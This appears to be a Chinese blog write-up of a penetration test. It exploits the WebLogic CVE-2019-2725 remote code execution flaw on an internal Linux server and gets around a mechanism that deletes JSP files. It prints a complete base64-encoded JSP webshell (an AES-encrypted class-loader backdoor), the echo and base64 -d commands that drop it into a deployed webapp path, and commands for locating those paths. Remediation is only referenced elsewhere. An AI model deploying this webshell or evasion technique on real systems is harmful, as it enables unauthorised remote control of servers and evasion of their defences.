在上次经历过一次借助CVE-2019-2725 RCE拿到webshell之后，又碰到了一例，依然是一个纯内网机，区别在于本次目标服务器为Linux系统，且系统环境堪称诡异，作为一台linux居然存在某种防护机制，会删除写入的jsp文件，但又不像杀毒软件的内容检测机制，txt并不会被清除，然而会在重命名为jsp时被清除。
因为这个端口是扫到的，所以预先并不知道其web应用的存在，刚开始也没有想过要去找web应用，直接借助网上公开的exp开始利用，写入webshell，但是正如上面提到的某种防护机制，木马文件被清除了。这里exp的webshell直接写入到bea_wls_internal模块下，后来我们又手动往我们所熟悉的uddiexplorer模块下写shell，发现同样被清除。
在老大的指导下，发现web应用写入的shell居然没有被清除！这个机制确实诡异，难道系统模块才会被实时检测？我们刚开始只是认为是不是需要重启weblogic生效，后来发现目标路径下确实没有我们的文件，这里关于web应用的获取便成了一个很细节的一环。
webapp名称获取
个人理解两种思路：
- 1、路径猜解，其实昨天字典给力，确实被我猜到了，但是那个web应用有点小问题，而且也没考虑到web应用路径和系统模块路径会被区别对待，所以没有继续尝试。
再枚举到web应用名称后，即可find检索：
find /weblogic -name 'XXXX' -type d
- 2、路径列出，当然这个需要对weblogic路径相对敏感，然后借助RCE直接获取当前部署的web应用名称。
ls /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user
在正式开始之前，还要提一点，网上傻瓜式的exp确实好用，但只适用于windows，在Linux环境下，它的命令无法读取组合命令，如dir /tmp，它只执行了dir，所以这里强烈案例借助burp重放post包的方式进行RCE。
写入webshell
还是熟悉的套路，webshell bash64加密：
将加密后的payload写入到web应用路径下(txt)：
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt
对txt中的payload进行base64解码：
base64 -d /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.jsp
总结
修复建议参考从RCE到隔离内网（一）。
说实话，本文写出来并不好看，但鬼晓得我们一群人在这上面绕了多久，假想了一个杀毒软件，分析进程到现在也没搞清楚是什么防护机制，没想到会存在一个区别对待的机制，也没想到走要去走webapp的方向，我很难说今天碰到的不是一个特例，但谁又能保证下一个不是特例呢？
一句话思路概括：如果遇到系统模块无法写入shell的情况，试着去找下webapp地址与路径吧。
网友评论